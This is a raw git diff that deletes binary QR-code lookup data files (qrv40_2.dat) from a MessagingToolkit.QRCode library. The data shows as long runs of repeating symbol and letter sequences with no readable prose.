88776655==>>??@@HHGGFFEEAABBCCDD8776655499::;;<<``__^^]]iijjkkll00//..--55667788ddccbbaaeeffgghh4433221111223344hhggffeeaabbccddbbccddeeNNOOPPQQKKJJIIHH~~~~}}||JJKKLLMMOONNMMLLzz{{||}}FFGGHHIISSRRQQPPvvwwxxyy}}||{{zz||}}~~poonnmmlccddeeff66554433//001122jjiihhgg__``aabb::998877++,,--..nnmmllkk - - [[\\]]^^>>==<<;;''(())**ccbbaa``!![ZZYYXWVxxyyzz{{!! DDEEFFGGUUTTSSRRttuuvvww%%$$##""@@AABBCCYYXXWWVV ppqqrrss))((''&&<<==>>??IIHHGGFF33445566CCBBAA@@))**++,,ppoonnmm - - YYZZ[[\\@@??>>==%%&&''((ttssrrqq UUVVWWXXDDCCBBAA!!""##$$44332211AABBCCDDDDCCBBAAEEFFGGHH43322110==>>??@@\\[[ZZYY - - mmnnoopp,,++**))99::;;<<``__^^]]iijjkkll00//..--55667788ddccbbaaeeffgghhffgghhiiRRSSTTUUGGFFEEDD !!{{zzyyxxNNOOPPQQKKJJIIHH~~~~}}||JJKKLLMMOONNMMLLzz{{||}}yyxxwwvv - - lkkjjiihgghhiijj221100//33445566ffeeddccccddeeff66554433//001122jjiihhgg__``aabb::998877++,,--..__^^]]\\""##$$%%UTSSRRQQ||}}~~~~HHIIJJKKQQPPOONNxxyyzz{{!! DDEEFFGGUUTTSSRRttuuvvww%%$$##""@@AABBCCEEDDCCBB77==>>????>>==<;--..//00llkkjjii]]^^__``<<;;::99))**++,,ppoonnmm - - YYZZ[[\\@@??>>==%%&&''((00//..--EEFFGGHH@@??>>==IIJJKKLL0//..--,AABBCCDDXXWWVVUU qqrrsstt((''&&%%==>>??@@\\[[ZZYY - - mmnnoopp,,++**))99::;;<<``__^^]]iijjkklljjkkllmm~~}}||VVWWXXYYCCBBAA@@""##$$%%wwvvuuttRRSSTTUUGGFFEEDD !!{{zzyyxxNNOOPPQQKKJJIIHH~~uuoonnmm hggffeed - -kkllmmnn..--,,++778899::bbaa``__gghhiijj221100//33445566ffeeddccccddeeff66554433//001122[[ZZYYSS&&''(())PPOONNMM}}||{{zzLLMMNNOOMMLLKKJJ||}}~~~~HHIIJJKKQQPPOONNxxyyzz{{!! DDEEFFGGAA@@??>>@@AABBCC:987766511223344hhggffeeaabbccdd88776655--..//00llkkjjii]]^^__``<<;;::99))**++,,,,++**))IIJJKKLL77665544MMNNOOPP,++**))(EEFFGGHHTTSSRRQQuuvvwwxx$$##""!!AABBCCDDXXWWVVUU qqrrsstt((''&&%%==>>??@@\\[[ZZYY - - mmnnoopp nnoouuvv{{zzyyxx - -ZZ[[\\]]??>>==<<&&''(())ssrrqqpp VVWWXXYYCCBBAA@@""##$$%%wwvvuuttRRSSTTUUGGFFEEDD !!llkkjjiidccbbaa` ooppqqrr**))(('';;<<==>>^^]]\\[[ - -kkllmmnn..--,,++778899::bbaa``__gghhiijj221100//33445566RRQQPPOO**++,,--LLKKJJII !!""##yyxxwwvvPPQQRRSSIIHHGGFF}}||{{zzLLMMNNOOMMLLKKJJ||}}~~~~HHIIJJKK==776655DDEEFFGG5443322155667788ddccbbaaeeffgghh4433221111223344hhggffeeaabbccdd88776655--..//00((''&&%%MMNNOOPP33221100QQRRSSYY(''&&%%$IIJJKKLLPPOONNMMyyzz{{|| EEFFGGHHTTSSRRQQuuvvwwxx$$##""!!AABBCCDDXXWWVVUU qqrrsstt - - wwxxyyzzwwvvuuts ^^__``aa;;::9988**++,,--oonnmmll - - ZZ[[\\]]??>>==<<&&''(())ssrrqqpp VVWWXXYYCCBBAA@@""##$$%%hhggffee`__^^]]\ssttuuvv&&%%$$##??@@AABBZZYYXXWW ooppqqrr**))(('';;<<==>>^^]]\\[[ - -kkllmmnn..--,,++778899::NNMMLLKK..//0011HHGGFFEE$$%%&&''uuttssrrTTUUVVWWEEDDCCBB !!""##yyxxwwvvPPQQRRSSIIHHGGFF}}||{{zzLLMMNNOO44332211HHIIJJKK100//..-99::;;<<``__^^]]iijjkkll00//..--55667788ddccbbaaeeffgghh4433221111223344$$##""!!QQRRSSTT//..--,,ZZ[[\\]]$##""!! MMNNOOPPLLKKJJII}}~~~~}}IIJJKKLLPPOONNMMyyzz{{|| EEFFGGHHTTSSRRQQuuvvwwxx~~}}||{{{{||}}~~rqpoonnmbbccddee77665544..//0011kkjjiihh^^__``aa;;::9988**++,,--oonnmmll - - ZZ[[\\]]??>>==<<&&''(())ddccbbaa\[[ZZYYXwwxxyyzz""!! CCDDEEFFVVUUTTSSssttuuvv&&%%$$##??@@AABBZZYYXXWW ooppqqrr**))(('';;<<==>>JJIIHHGG22334455DDCCBBAA(())**++qqppoonn - -XXYYZZ[[AA@@??>>$$%%&&''uuttssrrTTUUVVWWEEDDCCBB !!""##yyxxwwvvPPQQRRSS00//..--LLMMNNOO-,,++**)==>>??@@\\[[ZZYY - - mmnnoopp,,++**))99::;;<<``__^^]]iijjkkll00//..--55667788 UUVVWWXX++**))((^^__``aaQQRRSSTTHHGGFFEE ||{{zzyyMMNNOOPPLLKKJJII}}~~~~}}IIJJKKLLPPOONNMMyyzz{{||zzyyxxww - -mllkkjjiffgghhii3322110022334455ggffeeddbbccddee77665544..//0011kkjjiihh^^__``aa;;::9988**++,,--``__^^]]!!""##$$WVUTSSRR{{||}}~~GGHHIIJJRRQQPPOOwwxxyyzz""!! CCDDEEFFVVUUTTSSssttuuvv&&%%$$##??@@AABBFFEEDDCC6677==>>@@??>>==,,--..//mmllkkjj \\]]^^__==<<;;::(())**++qqppoonn - -XXYYZZ[[AA@@??>>$$%%&&''uuttssrrTTUUVVWW,,++**))PPQQRRSS)((''&&%AABBCCDDXXWWVVUU qqrrsstt((''&&%%==>>??@@\\[[ZZYY - - mmnnoopp,,++**))99::;;<<~~}}YYZZ[[\\''&&%%$$bbccddeeUUVVWWXXDDCCBBAA!!""##$$xxwwvvuuQQRRSSTTHHGGFFEE ||{{zzyyMMNNOOPPLLKKJJII}}~~vvuuoonn ihhggffe jjkkllmm//..--,,66778899ccbbaa``ffgghhii3322110022334455ggffeeddbbccddee77665544..//0011\\[[ZZYY%%&&''((QQPPOONN~~}}||{{KKLLMMNNNNMMLLKK{{||}}~~GGHHIIJJRRQQPPOOwwxxyyzz""!! CCDDEEFFBBAA@@????@@AABB<;:9877600112233iihhggff``aabbcc99887766,,--..//mmllkkjj \\]]^^__==<<;;::(())**++qqppoonn - -XXYYZZ[[((''&&%%YYZZ[[\\%$$##""!EEFFGGHHTTSSRRQQuuvvwwxx$$##""!!AABBCCDDXXWWVVUU qqrrsstt((''&&%%==>>??@@||{{zzyy]]^^__``##""!!ffgghhiiYYZZ[[\\@@??>>==%%&&''((ttssrrqq UUVVWWXXDDCCBBAA!!""##$$xxwwvvuuQQRRSSTTHHGGFFEE mmllkkjjeddccbba - - nnooppqq++**))((::;;<<==__^^]]\\ jjkkllmm//..--,,66778899ccbbaa``ffgghhii3322110022334455SSRRQQPP))**++,,MMLLKKJJ !!""zzyyxxwwOOPPQQRRJJIIHHGG~~}}||{{KKLLMMNNNNMMLLKK{{||}}~~GGHHIIJJ>>==7766CCDDEEFF6554433244556677eeddccbbddeeffgg5544332200112233iihhggff``aabbcc99887766,,--..//mmllkkjj \\]]^^__$$##""!!]]^^__``! IIJJKKLLPPOONNMMyyzz{{|| EEFFGGHHTTSSRRQQuuvvwwxx$$##""!!AABBCCDDxxwwvvuuaabbccddjjkkllmm~~}}||]]^^__``<<;;::99))**++,,ppoonnmm - - YYZZ[[\\@@??>>==%%&&''((ttssrrqq UUVVWWXXDDCCBBAA!!""##$$iihhggffa``__^^]rrssttuu''&&%%$$>>??@@AA[[ZZYYXX - - nnooppqq++**))((::;;<<==__^^]]\\ jjkkllmm//..--,,66778899OONNMMLL--..//00IIHHGGFF##$$%%&&vvuuttssSSTTUUVVFFEEDDCC !!""zzyyxxwwOOPPQQRRJJIIHHGG~~}}||{{KKLLMMNN55443322GGHHIIJJ21100//.8899::;;aa``__^^hhiijjkk1100//..44556677eeddccbbddeeffgg5544332200112233iihhggff``aabbccaabbccddMMNNOOPPLLKKJJII}}~~~~}}IIJJKKLLPPOONNMMyyzz{{|| EEFFGGHHttssrrqq eeffgghhnnoouuvv{{zzyyxx - -aabbccdd88776655--..//00llkkjjii]]^^__``<<;;::99))**++,,ppoonnmm - - YYZZ[[\\@@??>>==%%&&''((eeddccbb]\\[[ZZYvvwwxxyy##""!! BBCCDDEEWWVVUUTTrrssttuu''&&%%$$>>??@@AA[[ZZYYXX - - nnooppqq++**))((::;;<<==KKJJIIHH11223344EEDDCCBB''(())**rrqqppoo WWXXYYZZBBAA@@??##$$%%&&vvuuttssSSTTUUVVFFEEDDCC !!""zzyyxxwwOOPPQQRR1100//..KKLLMMNN.--,,++*<<==>>??]]\\[[ZZ - - llmmnnoo--,,++**8899::;;aa``__^^hhiijjkk1100//..44556677eeddccbbddeeffggeeffgghhQQRRSSTTHHGGFFEE ||{{zzyyMMNNOOPPLLKKJJII}}~~~~}}IIJJKKLLppoonnmm - - iijjkkllwwxxyyzzwwvvuuts eeffgghh4433221111223344hhggffeeaabbccdd88776655--..//00llkkjjii]]^^__``<<;;::99))**++,,aa``__^^!!""##YXWVUTSSzz{{||}}FFGGHHIISSRRQQPPvvwwxxyy##""!! BBCCDDEEWWVVUUTTrrssttuu''&&%%$$>>??@@AAGGFFEEDD556677==AA@@??>>++,,--..nnmmllkk - - [[\\]]^^>>==<<;;''(())**rrqqppoo WWXXYYZZBBAA@@??##$$%%&&vvuuttssSSTTUUVV--,,++**OOPPQQRR*))((''&@@AABBCCYYXXWWVV ppqqrrss))((''&&<<==>>??]]\\[[ZZ - - llmmnnoo--,,++**8899::;;aa``__^^hhiijjkkiijjkkll~~}}UUVVWWXXDDCCBBAA!!""##$$xxwwvvuuQQRRSSTTHHGGFFEE ||{{zzyyMMNNOOPPllkkjjii - - mmnnoopp {{||}}~~rqpoonnmiijjkkll00//..--55667788ddccbbaaeeffgghh4433221111223344hhggffeeaabbccdd88776655--..//00]]\\[[ZZ$$%%&&''RRQQPPOO~~~~}}||JJKKLLMMOONNMMLLzz{{||}}FFGGHHIISSRRQQPPvvwwxxyy##""!! BBCCDDEECCBBAA@@>>??@@AA==<;:987//001122jjiihhgg__``aabb::998877++,,--..nnmmllkk - - [[\\]]^^>>==<<;;''(())**rrqqppoo WWXXYYZZ))((''&&SSYYZZ[[&%%$$##"DDEEFFGGUUTTSSRRttuuvvww%%$$##""@@AABBCCYYXXWWVV ppqqrrss))((''&&<<==>>??]]\\[[ZZ - - llmmnnoo mmnnoouu||{{zzyy YYZZ[[\\@@??>>==%%&&''((ttssrrqq UUVVWWXXDDCCBBAA!!""##$$xxwwvvuuQQRRSSTThhggffee qqrrsstt - - - -mllkkjji - - mmnnoopp,,++**))99::;;<<``__^^]]iijjkkll00//..--55667788ddccbbaaeeffgghh4433221111223344YYSSRRQQ(())**++NNMMLLKK !!{{zzyyxxNNOOPPQQKKJJIIHH~~~~}}||JJKKLLMMOONNMMLLzz{{||}}FFGGHHII??>>==77BBCCDDEE7665544333445566ffeeddccccddeeff66554433//001122jjiihhgg__``aabb::998877++,,--..nnmmllkk - - [[\\]]^^%%$$##""\\]]^^__"!! HHIIJJKKQQPPOONNxxyyzz{{!! DDEEFFGGUUTTSSRRttuuvvww%%$$##""@@AABBCCYYXXWWVV ppqqrrss - - vvwwxxyyxxwwvvuu - - ]]^^__``<<;;::99))**++,,ppoonnmm - - YYZZ[[\\@@??>>==%%&&''((ttssrrqq UUVVWWXXddccbbaauuvvwwxx~~}}||{{ ihhggffe qqrrsstt((''&&%%==>>??@@\\[[ZZYY - - mmnnoopp,,++**))99::;;<<``__^^]]iijjkkll00//..--55667788PPOONNMM,,--..//JJIIHHGG""##$$%%wwvvuuttRRSSTTUUGGFFEEDD !!{{zzyyxxNNOOPPQQKKJJIIHH~~~~}}||JJKKLLMM66554433FFGGHHII3221100/778899::bbaa``__gghhiijj221100//33445566ffeeddccccddeeff66554433//001122jjiihhgg__``aabb!!``aabbccLLMMNNOOMMLLKKJJ||}}~~~~HHIIJJKKQQPPOONNxxyyzz{{!! DDEEFFGGUUTTSSRRttuuvvww~~}}||zz{{||}}tsrqpoonaabbccdd88776655--..//00llkkjjii]]^^__``<<;;::99))**++,,ppoonnmm - - YYZZ[[\\qqrrsstt``__^^]]yyzz{{||zzyyxxwweddccbbauuvvwwxx$$##""!!AABBCCDDXXWWVVUU qqrrsstt((''&&%%==>>??@@\\[[ZZYY - - mmnnoopp,,++**))99::;;<>^^]]\\[[ - -kkllmmnn..--,,++778899::bbaa``__gghhiijj221100//33445566ffeeddccccddeeffddeeffggPPQQRRSSIIHHGGFF}}||{{zzLLMMNNOOMMLLKKJJ||}}~~~~HHIIJJKKQQPPOONNxxyyzz{{{{zzyyxx ~~nmmllkkjeeffgghh4433221111223344hhggffeeaabbccdd88776655--..//00llkkjjii]]^^__``uuvvwwxx\\[[ZZYY}}~~vvuuoonna``__^^]yyzz{{|| EEFFGGHHTTSSRRQQuuvvwwxx$$##""!!AABBCCDDXXWWVVUU qqrrsstt((''&&%%==>>??@@HHGGFFEE44556677BBAA@@??**++,,--oonnmmll - - ZZ[[\\]]??>>==<<&&''(())ssrrqqpp VVWWXXYYCCBBAA@@""##$$%%wwvvuuttRRSSTTUU..--,,++NNOOPPQQ+**))(('??@@AABBZZYYXXWW ooppqqrr**))(('';;<<==>>^^]]\\[[ - -kkllmmnn..--,,++778899::bbaa``__gghhiijjhhiijjkk~~TTUUVVWWEEDDCCBB !!""##yyxxwwvvPPQQRRSSIIHHGGFF}}||{{zzLLMMNNOOMMLLKKJJ||}}~~wwvvuuoo - - jiihhggfiijjkkll00//..--55667788ddccbbaaeeffgghh4433221111223344hhggffeeaabbccddyyzz{{||XXWWVVUU mmllkkjj]\\[[ZZY}}~~~~}}IIJJKKLLPPOONNMMyyzz{{|| EEFFGGHHTTSSRRQQuuvvwwxx$$##""!!AABBCCDDDDCCBBAA==>>??@@>>==<;:9..//0011kkjjiihh^^__``aa;;::9988**++,,--oonnmmll - - ZZ[[\\]]??>>==<<&&''(())ssrrqqpp VVWWXXYY**))((''RRSSYYZZ'&&%%$$#CCDDEEFFVVUUTTSSssttuuvv&&%%$$##??@@AABBZZYYXXWW ooppqqrr**))(('';;<<==>>^^]]\\[[ - -kkllmmnn llmmnnoo}}||{{zz XXYYZZ[[AA@@??>>$$%%&&''uuttssrrTTUUVVWWEEDDCCBB !!""##yyxxwwvvPPQQRRSSIIHHGGFFnnmmllkkfeeddccb - - mmnnoopp,,++**))99::;;<<``__^^]]iijjkkll00//..--55667788ddccbbaaeeffgghh}}~~TTSSRRQQ!!""##$$iihhggff!!""##YXWVUTSS ||{{zzyyMMNNOOPPLLKKJJII}}~~~~}}IIJJKKLLPPOONNMMyyzz{{|| EEFFGGHH@@??>>==AABBCCDD8776655422334455ggffeeddbbccddee77665544..//0011kkjjiihh^^__``aa;;::9988**++,,--oonnmmll - - ZZ[[\\]]&&%%$$##[[\\]]^^#""!! GGHHIIJJRRQQPPOOwwxxyyzz""!! CCDDEEFFVVUUTTSSssttuuvv&&%%$$##??@@AABBZZYYXXWW ooppqqrr - - uuvvwwxxyyxxwwvv - - \\]]^^__==<<;;::(())**++qqppoonn - -XXYYZZ[[AA@@??>>$$%%&&''uuttssrrTTUUVVWWEEDDCCBB !!""##jjiihhggbaa``__^ qqrrsstt((''&&%%==>>??@@\\[[ZZYY - - mmnnoopp,,++**))99::;;<<``__^^]]iijjkkllPPOONNMM%%&&''((eeddccbb$$%%&&''RRQQPPOO!!""##$$xxwwvvuuQQRRSSTTHHGGFFEE ||{{zzyyMMNNOOPPLLKKJJII}}~~~~}}IIJJKKLL77665544EEFFGGHH4332211066778899ccbbaa``ffgghhii3322110022334455ggffeeddbbccddee77665544..//0011kkjjiihh^^__``aa""!!__``aabbKKLLMMNNNNMMLLKK{{||}}~~GGHHIIJJRRQQPPOOwwxxyyzz""!! CCDDEEFFVVUUTTSSssttuuvv~~}}yyzz{{||uutsrqpo``aabbcc99887766,,--..//mmllkkjj \\]]^^__==<<;;::(())**++qqppoonn - -XXYYZZ[[AA@@??>>$$%%&&''ffeeddcc^]]\\[[Zuuvvwwxx$$##""!!AABBCCDDXXWWVVUU qqrrsstt((''&&%%==>>??@@\\[[ZZYY - - mmnnooppttssrrqq UUVVWWXX++**))((QQRRSSYY(''&&%%$BBCCDDEEWWVVUUTTrrssttuu''&&%%$$>>??@@AA[[ZZYYXX - - nnooppqq++**))((::;;<<==HHGGFFEEAABBCCDD33221100BBCCDDEEppoonnmm - - YYZZ[[\\''&&%%$$ZZ[[\\]]$##""!! FFGGHHIISSRRQQPPvvwwxxyy##""!! BBCCDDEEWWVVUUTTrrssttuu''&&%%$$>>??@@AADDCCBBAAEEFFGGHH//..--,,FFGGHHIIllkkjjii]]^^__``##""!!^^__``aaJJKKLLMMOONNMMLLzz{{||}}FFGGHHIISSRRQQPPvvwwxxyy##""!! BBCCDDEE@@??>>==IIJJKKLL++**))((JJKKLLMMhhggffeeaabbccddbbccddeeNNOOPPQQKKJJIIHH~~~~}}||JJKKLLMMOONNMMLLzz{{||}}FFGGHHII77665544MMNNOOPP''&&%%$$NNOOPPQQddccbbaaeeffgghhffgghhiiRRSSTTUUGGFFEEDD !!{{zzyyxxNNOOPPQQKKJJIIHH~~~~}}||JJKKLLMM33221100QQRRSSYY##""!! RRSSTTUU``__^^]]iijjkklljjkkllmm~~}}||VVWWXXYYCCBBAA@@""##$$%%wwvvuuttRRSSTTUUGGFFEEDD !!{{zzyyxxNNOOPPQQ//..--,,ZZ[[\\]]VVWWXXYY\\[[ZZYY - - mmnnoopp nnoouuvv{{zzyyxx - -ZZ[[\\]]??>>==<<&&''(())ssrrqqpp VVWWXXYYCCBBAA@@""##$$%%wwvvuuttRRSSTTUU++**))((^^__``aa~~}}||ZZ[[\\]]XXWWVVUU qqrrsstt - - wwxxyyzzwwvvuuts ^^__``aa;;::9988**++,,--oonnmmll - - ZZ[[\\]]??>>==<<&&''(())ssrrqqpp VVWWXXYY''&&%%$$bbccddee{{zzyyxx^^__``aaTTSSRRQQuuvvwwxx~~}}||{{{{||}}~~rqpoonnmbbccddee77665544..//0011kkjjiihh^^__``aa;;::9988**++,,--oonnmmll - - ZZ[[\\]]##""!!ffgghhiiwwvvuuttbbccddeePPOONNMMyyzz{{||zzyyxxww - -mllkkjjiffgghhii3322110022334455ggffeeddbbccddee77665544..//0011kkjjiihh^^__``aajjkkllmmssrrqqpp ffgghhiiLLKKJJII}}~~vvuuoonn ihhggffe jjkkllmm//..--,,66778899ccbbaa``ffgghhii3322110022334455ggffeeddbbccddeennoouuvvoonnmmll - - jjkkllmmHHGGFFEE mmllkkjjeddccbba - - nnooppqq++**))((::;;<<==__^^]]\\ jjkkllmm//..--,,66778899ccbbaa``ffgghhiiwwxxyyzzkkjjiihh - - nnooppqqDDCCBBAA!!""##$$iihhggffa``__^^]rrssttuu''&&%%$$>>??@@AA[[ZZYYXX - - nnooppqq++**))((::;;<<==__^^]]\\ jjkkllmm {{||}}~~ggffeeddrrssttuu@@??>>==%%&&''((eeddccbb]\\[[ZZYvvwwxxyy##""!! BBCCDDEEWWVVUUTTrrssttuu''&&%%$$>>??@@AA[[ZZYYXX - - nnooppqq - - - -ccbbaa``vvwwxxyy<<;;::99))**++,,aa``__^^!!""##YXWVUTSSzz{{||}}FFGGHHIISSRRQQPPvvwwxxyy##""!! BBCCDDEEWWVVUUTTrrssttuu~~}}||{{ __^^]]\\zz{{||}}88776655--..//00]]\\[[ZZ$$%%&&''RRQQPPOO~~~~}}||JJKKLLMMOONNMMLLzz{{||}}FFGGHHIISSRRQQPPvvwwxxyyzzyyxxww[[ZZYYXX~~4433221111223344YYSSRRQQ(())**++NNMMLLKK !!{{zzyyxxNNOOPPQQKKJJIIHH~~~~}}||JJKKLLMMOONNMMLLzz{{||}}vvuuoonnWWVVUUTT !!00//..--55667788PPOONNMM,,--..//JJIIHHGG""##$$%%wwvvuuttRRSSTTUUGGFFEEDD !!{{zzyyxxNNOOPPQQKKJJIIHH~~mmllkkjjSSRRQQPP""##$$%%,,++**))99::;;<>??@@HHGGFFEE44556677BBAA@@??**++,,--oonnmmll - - ZZ[[\\]]??>>==<<&&''(())ssrrqqpp VVWWXXYYCCBBAA@@""##$$%%eeddccbb$$%%&&''KKJJIIHH**++,,--$$##""!!AABBCCDDDDCCBBAA==>>??@@>>==<;:9..//0011kkjjiihh^^__``aa;;::9988**++,,--oonnmmll - - ZZ[[\\]]??>>==<<&&''(())aa``__^^(())**++GGFFEEDD..//0011 EEFFGGHH@@??>>==AABBCCDD8776655422334455ggffeeddbbccddee77665544..//0011kkjjiihh^^__``aa;;::9988**++,,--]]\\[[ZZ,,--..//CCBBAA@@22334455~~}}IIJJKKLL77665544EEFFGGHH4332211066778899ccbbaa``ffgghhii3322110022334455ggffeeddbbccddee77665544..//0011YYSSRRQQ00112233??>>==<<66778899||{{zzyyMMNNOOPP33221100IIJJKKLL0//..--,::;;<<==__^^]]\\ jjkkllmm//..--,,66778899ccbbaa``ffgghhii3322110022334455PPOONNMM44556677;;::9988::;;<<==xxwwvvuuQQRRSSTT//..--,,MMNNOOPP,++**))(>>??@@AA[[ZZYYXX - - nnooppqq++**))((::;;<<==__^^]]\\ jjkkllmm//..--,,66778899LLKKJJII==>>??@@77665544>>??@@AAZHAbے`JXQtArd|ZdQbnXvےbHAےbHArtAJlvpfH~fZHAbے`JXQtlJnXv`f~Hp˂rXQJ`ےbdQZ|drtA`vXnے`JXQr˂ptArd|ZdQbfpvnXv`bHAZdrtAltbvpfJXQrr˂pZdQbtlJtAXv`fHAZp˂rXQltbdQZ|~f`vXn`JXQrtlJrd|~HfpvnJ`ےbHAZpdrtAJtbnvpfHbے`XQr˂lJtArvnXnXv`HAZp˂rtAJltbdQpfH~f`vbے`JXQrlJtArdf~HfprXQJ`ےbZ|drtAJlXnvpfH~˂pZHAd|ZdQbtfpvrXQJ`bHAZtbdbnvfH~pZHAbے`JbtlJtArd`f~fpvrXQJ`tbdQZ|drf`vXnvpXQr˂pZHA|ZdQHfpvnXvےbHAZp˂tbdQvp`vf`vbJQr|ZdQbtlJnXv`f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Qr˂pZrd|ZdQbtpvnXQJ`ےbHAZpdrtAJltbvpfH~f`ZHAbJAHr󙐝`vXnvˍpfdrQtJltbdQZ|drtA`vXn˂pZ˂pZtArdv`ff~HJ`ےbHAZpdrtAJvXnvpfH˂pZHAbےZdQbtlJtAXv`fHAZp˂rXQltbdQZ|~f`vXnے`JXQۑpJvˍpfH~ㅐfJltbAdZ| \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_2.dat deleted file mode 100644 index 5a0e723..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv40_2.dat +++ /dev/null @@ -1,353 +0,0 @@ -~}~}~}~}|{|{|{|{~}~}~}~}|{|{|{|{~}~}~}~}|{|{|{|{~}~}~}~}|{|{|{zy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzy~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwxw~}~}~}~}zyzyzyzyxwxwxwvu~}~}~}~}zyzyzyzyvuvuvu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xwvuvuvuts|{|{|{|{xwxwxwxwtstststs|{|{|{|{xwxwxwxwtstststs~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststs~}~}~}~}|{|{|{|{xwxwxwxwtstststststststsopopopoplklklklkhghghghgfefedcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;65656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststsopopopoplklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;65656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststsopopopoplklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;65656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststsopopopoolklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;:965656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststsoooopopolklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?@?@?@?:9:9:9:965656565434343430/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststspopopopolklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA@?>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststspopopopolklklklkhghghghgdcdcdcdcbabababa^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststspopopopolklklklkhghghghgdcdcdcdcbaba`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststspopopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#        - - - - tstststspopopopolklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#       - - - - tstststspooooooplklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#     - - - - tstststsopopopoplklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYVUVUTSTSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+('('('('$#$#$#$#     - - - - tstststsopopopoplklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYTSTSSSSSRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#     - - - - tstststsopopopoplklklklkhghghghgdcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYSTSTSTSTRQRQRQRQNMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#     - - - - tstststsopopopoplklklklkhghghghgdcdcdcdc`_`_`_`_^]^]\[\[ZYZYZYZYSTSTSTSTRQPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#     - - - - tstststsopopopoplklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#     - - - - tstststsopopoooolklklklkhghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEBABABABA>=>=>=>=:9:9:9:96565656521212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#     - - - 